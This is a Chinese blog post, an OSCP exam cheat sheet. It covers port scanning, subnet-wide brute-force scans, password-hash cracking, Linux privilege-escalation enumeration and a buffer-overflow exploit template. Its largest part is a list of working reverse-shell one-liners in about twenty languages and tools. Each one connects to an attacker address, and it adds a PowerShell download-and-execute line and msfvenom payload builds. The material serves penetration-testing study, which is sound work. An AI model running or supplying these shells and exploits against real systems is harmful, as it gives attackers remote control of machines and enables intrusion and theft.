Ca1s1'Blog

整理OSCP备忘录

字数统计: 5.2k阅读时长: 29 min
2020/07/15 Share

OSCP备忘录

  • 参考链接

https://github.com/xuanhusec/OscpStudyGroup

https://ceso.github.io/posts/2020/04/hacking/oscp-cheatsheet/

https://github.com/RustyShackleford221/OSCP-Prep

http://www.securityidiots.com/Web-Pentest

  • 考试指南:

https://www.lshack.cn/wp-content/uploads/2019/02/lshack.cn_2019-02-12_09-30-31.pdf

快速扫描

1
2
3
masscan -p1-65535 10.10.10.10 --rate=1000 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.10
1
2
3
nmap -sV -O --top-ports 50 --open -oA nmap/initial <ip or cidr>
nmap -sC -sV -O --open -p- -oA nmap/full <ip or cidr>
nmap -sU -p- -oA nmap/udp <ip or cidr>
1
nmap --scripts vuln,safe,discovery -p 443,80 <ip or cidr>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
王牌命令:

nmap -sS --osscan-guess -A -vv --script=vuln x.x.x.x

nmap -sF -A --version-all -sC --osscan-guess -F -n -sV

利用 nmap 一句话进行目标 C 段常规漏洞扫描:

nmap -sT -Pn -v --script dns-zone-transfer.nse,ftp-anon.nse,ftp-proftpd-backdoor.nse,ftp-vsftpd-backdoor.nse,ftp-vuln-cve2010-4221.nse,http-backup-finder.nse,http-cisco-anyconnect.nse,http-iis-short-name-brute.nse,http-put.nse,http-php-version.nse,http-shellshock.nse,http-robots.txt.nse,http-svn-enum.nse,http-webdav-scan.nse,iax2-version.nse,memcached-info.nse,mongodb-info.nse,msrpc-enum.nse,ms-sql-info.nse,mysql-info.nse,nrpe-enum.nse,pptp-version.nse,redis-info.nse,rpcinfo.nse,samba-vuln-cve-2012-1182.nse,smb-vuln-ms08-067.nse,smb-vuln-ms17-010.nse,snmp-info.nse,sshv1.nse,xmpp-info.nse,tftp-enum.nse,teamspeak2-version.nse x.x.x.0/24

利用 nmap 一句话进行目标 C 段弱口令爆破:

nmap -sT -v -Pn --script ftp-brute.nse,imap-brute.nse,smtp-brute.nse,pop3-brute.nse,mongodb-brute.nse,redis-brute.nse,ms-sql-brute.nse,rlogin-brute.nse,rsync-brute.nse,mysql-brute.nse,pgsql-brute.nse,oracle-sid-brute.nse,oracle-brute.nse,rtsp-url-brute.nse,snmp-brute.nse,svn-brute.nse,telnet-brute.nse,vnc-brute.nse,xmpp-brute.nse x.x.x.0/24

nmap 扫 smb:

nmap -p 445 -vv --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse x.x.x.x

创建字典

1
cewl -d 5 -m 3 -w pass.lst [http://](http://fuse.fabricorp.local/papercut/logs/html/index.htm)$ip --with-numbers

python pty 方式

1
python -c '**import**("pty").spawn("/bin/bash")'

爆破目录

1
wfuzz -c -z file,directory-list-2.3-medium.txt --hc 404 "[http://192.168.235.133/FUZZ](http://192.168.235.133/FUZZ)"
1
2
gobuster dir -u http://10.10.10.194 -t 50 -w directory-list-2.3-medium.txt -x .php,.html
gobuster -s 200,204,301,302,307,403 -u http://x.x.x.x -w /usr/share/wordlists/xxxx.txt -t 80 -a ‘Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0’
1
nikto -Format txt -o webscan/nikto-initial -host [http://192.168.24.24](http://192.168.24.24/) -p 8080
1
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u [http://192.168.24.24/FUZZ](http://192.168.24.24/FUZZ)

web漏洞扫描

1
nikto -h [http://192.168.235.133](http://192.168.235.133/)

本地HASH爆破

1
2
John 爆破相关:
john unshadow.db
1
2
Hashcat SHA512 $6$shadow file
hashcat -m 1800 -a 0 hash.txt rockyou.txt --username
1
2
Hashcat MD5 $1$shadow fil
hashcat -m 500 -a 0 hash.txt rockyou.txt --username
1
2
Hashcat MD5 Apache webdav file
hashcat -m 1600 -a 0 hash.txt rockyou.txt
1
2
Hashcat SHA1
hashcat -m 100 -a 0 hash.txt rockyou.txt --force
1
2
Hashcat Wordpress
hashcat -m 400 -a 0 --remove hash.txt rockyou.txt

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
version
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based

kernel version
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

environmental
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

printer
lpstat -a

Applications
ps aux
ps -ef
top
cat /etc/services

service by root
ps aux | grep root
ps -ef | grep root

Confidential Information
id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

SUID&GUID提权

1
2
3
4
5
6
7
8
9
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

sudo查看是否存在提权软件

1
sudo -l

RBASH

1
2
3
4
echo $SHELL
基本上都是/bin/rbash
检查可用的编程语言,如python、perl、ruby等
https://www.freebuf.com/articles/system/188989.html

操纵环境变量

1
2
3
4
5
6
找到了suid权限的程序msgmike,运行该程序,并且使用strings命令,可以得知该程序调用了cat命令。
于是操纵环境变量,以本地目录开始查找cat,并且伪造一个cat命令。

echo "/bin/sh" > cat

添加环境变量export PATH=.:$PATH;chmod +x cat 于是运行该suid权限的程序,就会运行伪造的cat命令,调用了/bin/sh。使用这种方法提权。

缓冲区溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import socket, os

# EIP偏移
# 创建测试字符串 方法1: 使用命令“!mona pattern_create 3000 ”
# 创建测试字符串 方法2:使用msf框架,命令如下
# “/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ”
# 发送后程序崩溃看调试器中EIP的值,然后用下面命令查找EIP偏移
# 查找EIP偏移 方法1:使用命令“!mona pattern_offset <EIP的值>”
# 查找EIP偏移 方法2:使用msf框架,命令如下
# “/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP的值>”
# 获得EIP偏移后替换下面eip_offset的值

eip_offset = 10000

# 用“A”填充缓冲区,直到EIP偏移位置

junk = "A" * eip_offset

# 获得jmp esp指令的地址
# 使用命令“!mona modules ”获得程序加载模块信息
# 找一个没有开启Rebase, SafeSEH, ASLR, NXCompat的模块dll
# 使用命令“ !mona find -s '\xff\xe4' -m <模块名>”在模块中查找jmp esp的地址
# 注意:要选择一个没有坏字符的地址
# 将地址反写替换下面eip的值

eip = "\x12\x34\x56\x78"

# 在shellcode前填充nop指令,可提高兼容性

nop = "\x90" * 20

# 生成反弹Shellcode
# 使用命令“msfvenom -p windows/shell_reverse_tcp lhost=<本机IP> lport=<监听端口> -b '\x00\x坏\x字\x符' -f python”
# 将生成shellcode替换下面sc

sc = ""

# 组装payload
# payload = [AAAAAA...AAA][EIP][NOP][Shellcode]

payload = junk + eip + nop + sc

# 发送到目标靶机的某个端口如

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("<靶机地址>", <端口>))

s.sendall(payload)

s.close()

rdesktop

1
rdesktop -u username -p password -g 85% -r disk:share=/root/ x.x.x.x

反弹shell

1、Bash环境下反弹TCP协议shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
bash -i >& /dev/tcp/10.10.10.11/443 0>&1
1
/bin/bash -i > /dev/tcp/10.10.10.11/443 0<& 2>&1
1
exec 5<>/dev/tcp/10.10.10.11/443;cat <&5 | while read line; do $line 2>&5 >&5; done
1
exec /bin/sh 0</dev/tcp/10.10.10.11/443 1>&0 2>&0
1
0<&196;exec 196<>/dev/tcp/10.10.10.11/443; sh <&196 >&196 2>&196

2、Bash环境下反弹UDP协议shell:

首先在本地监听UDP协议443端口

1
nc -u -lvp 443

然后在靶机上执行如下命令:

1
sh -i >& /dev/udp/10.10.10.11/443 0>&1

3、使用Netcat反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
nc -e /bin/sh 10.10.10.11 443
1
nc -e /bin/bash 10.10.10.11 443
1
nc -c bash 10.10.10.11 443
1
mknod backpipe p && nc 10.10.10.11 443 0<backpipe | /bin/bash 1>backpipe
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.11 443 >/tmp/f
1
rm -f /tmp/p; mknod /tmp/p p && nc 10.10.10.11 443 0/tmp/p 2>&1
1
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 10.10.10.11 443 > f
1
rm -f x; mknod x p && nc 10.10.10.11 443 0<x | /bin/bash 1>x

4、使用Ncat反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
ncat 10.10.10.11 443 -e /bin/bash
1
ncat --udp 10.10.10.11 443 -e /bin/bash

5、利用Telnet反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
rm -f /tmp/p; mknod /tmp/p p && telnet 10.10.10.11 443 0/tmp/p 2>&1
1
telnet 10.10.10.11 443 | /bin/bash | telnet 10.10.10.11 444
1
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 10.10.10.11 443 > f
1
rm -f x; mknod x p && telnet 10.10.10.11 443 0<x | /bin/bash 1>x

6、使用Socat反弹shell

首先在本地监听TCP协议443端口

1
socat file:`tty`,raw,echo=0 TCP-L:443

然后在靶机上执行如下命令:

1
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.11:443
1
socat tcp-connect:10.10.10.11:443 exec:"bash -li",pty,stderr,setsid,sigint,sane
1
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.11:443

7、利用Perl脚本反弹

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
perl -e 'use Socket;$i="10.10.10.11";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.11:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

win平台下执行:

1
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.11:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

8、利用Python脚本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

IPv4协议如下:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.11",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1
export RHOST="10.10.10.11";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.11",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

IPv6协议如下:

1
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",443,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Windows平台如下:

1
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.10.10.11', 443)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

9、利用PHP脚本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
php -r '$sock=fsockopen("10.10.10.11",443);exec("/bin/sh -i <&3 >&3 2>&3");'
1
php -r '$s=fsockopen("10.10.10.11",443);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'
1
php -r '$s=fsockopen("10.10.10.11",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
1
php -r '$s=fsockopen("10.10.10.11",443);`/bin/sh -i <&3 >&3 2>&3`;'
1
php -r '$s=fsockopen("10.10.10.11",443);system("/bin/sh -i <&3 >&3 2>&3");'
1
php -r '$s=fsockopen("10.10.10.11",443);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
1
php -r '$s=\'127.0.0.1\';$p=443;@error_reporting(0);@ini_set("error_log",NULL);@ini_set("log_errors",0);@set_time_limit(0);umask(0);if($s=fsockopen($s,$p,$n,$n)){if($x=proc_open(\'/bin/sh$IFS-i\',array(array(\'pipe\',\'r\'),array(\'pipe\',\'w\'),array(\'pipe\',\'w\')),$p,getcwd())){stream_set_blocking($p[0],0);stream_set_blocking($p[1],0);stream_set_blocking($p[2],0);stream_set_blocking($s,0);while(true){if(feof($s))die(\'connection/closed\');if(feof($p[1]))die(\'shell/not/response\');$r=array($s,$p[1],$p[2]);stream_select($r,$n,$n,null);if(in_array($s,$r))fwrite($p[0],fread($s,1024));if(in_array($p[1],$r))fwrite($s,fread($p[1],1024));if(in_array($p[2],$r))fwrite($s,fread($p[2],1024));}fclose($p[0]);fclose($p[1]);fclose($p[2]);proc_close($x);}else{die("proc_open/disabled");}}else{die("not/connect");}'

10、利用Ruby脚本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
ruby -rsocket -e'f=TCPSocket.open("10.10.10.11",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.11","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows平台如下:

1
ruby -rsocket -e 'c=TCPSocket.new("10.10.10.11","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

11、使用OpenSSL反弹shell

首先在本地监听TCP协议443端口

1
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
1
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
1
ncat --ssl -vv -l -p 443

然后在靶机上执行如下命令:

1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.11:443 > /tmp/s; rm /tmp/s

12、win平台下使用Powershell反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.11",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
1
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.11',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
1
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

13、利用Awk反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.11/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

14、TCL脚本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
echo 'set s [socket 10.10.10.11 443];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

15、Java版本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

linux平台:

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.11/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

windows平台:

1
2
3
4
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

创建线程:

1
2
3
4
5
6
Thread thread = new Thread(){
    public void run(){
        // Reverse shell here
    }
}
thread.start();

16、生成War文件反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

使用如下命令生成war文件:

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.11 LPORT=443 -f war > reverse.war

查看war包中shell的jsp文件名

1
strings reverse.war | grep jsp

在靶机上部署war包后,访问shell的jsp文件,即可在监听端口获得反弹shell

17、使用Lua脚本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:Linux平台:

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.11','443');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windows及Linux平台:

1
lua5.1 -e 'local host, port = "10.10.10.11", 443 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

18、NodeJS版本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
3
4
5
6
7
8
9
10
11
12
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.10.11", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; 
})();
1
require('child_process').exec('nc -e /bin/sh 10.10.10.11 443')
1
2
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.10.10.11 443 -e /bin/bash')
1
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

19、Groovy版本反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
3
4
String host="10.10.10.11";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

20、生成Meterpreter反弹Shell:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.11 LPORT=443 -f exe > reverse.exe
1
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.11 LPORT=443 -f exe > reverse.exe
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.11 LPORT=443 -f elf >reverse.elf
1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.11 LPORT=443 -f elf >reverse.elf
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.11" LPORT=443 -f elf > shell.elf
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.11" LPORT=443 -f exe > shell.exe
1
msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.11" LPORT=443 -f macho > shell.macho
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.11" LPORT=443 -f asp > shell.asp
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.11" LPORT=443 -f raw > shell.jsp
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.11" LPORT=443 -f war > shell.war
1
msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.11" LPORT=443 -f raw > shell.py
1
msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.11" LPORT=443 -f raw > shell.sh
1
msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.11" LPORT=443 -f raw > shell.pl

21、使用Xterm反弹shell

首先在本地监听TCP协议443端口

1
nc -lvp 443

然后在靶机上执行如下命令:

1
2
3
xterm -display 10.10.10.11:1
Xnest :1
xhost +targetip
CATALOG
  1. 1. OSCP备忘录
  2. 2. 快速扫描
  3. 3. 创建字典
  4. 4. python pty 方式
  5. 5. 爆破目录
  6. 6. web漏洞扫描
  7. 7. 本地HASH爆破
  8. 8. 提权
    1. 8.1. SUID&GUID提权
    2. 8.2. sudo查看是否存在提权软件
    3. 8.3. RBASH
    4. 8.4. 操纵环境变量
  9. 9. 缓冲区溢出
  10. 10. rdesktop
  11. 11. 反弹shell
    1. 11.0.1. 1、Bash环境下反弹TCP协议shell
  12. 11.1. 2、Bash环境下反弹UDP协议shell:
  13. 11.2. 3、使用Netcat反弹shell
  14. 11.3. 4、使用Ncat反弹shell
  15. 11.4. 5、利用Telnet反弹shell
  16. 11.5. 6、使用Socat反弹shell
  17. 11.6. 7、利用Perl脚本反弹
  18. 11.7. 8、利用Python脚本反弹shell
  19. 11.8. 9、利用PHP脚本反弹shell
  20. 11.9. 10、利用Ruby脚本反弹shell
  21. 11.10. 11、使用OpenSSL反弹shell
  22. 11.11. 12、win平台下使用Powershell反弹shell
  23. 11.12. 13、利用Awk反弹shell
  24. 11.13. 14、TCL脚本反弹shell
  25. 11.14. 15、Java版本反弹shell
  26. 11.15. 16、生成War文件反弹shell
  27. 11.16. 17、使用Lua脚本反弹shell
  28. 11.17. 18、NodeJS版本反弹shell
  29. 11.18. 19、Groovy版本反弹shell
  30. 11.19. 20、生成Meterpreter反弹Shell:
  31. 11.20. 21、使用Xterm反弹shell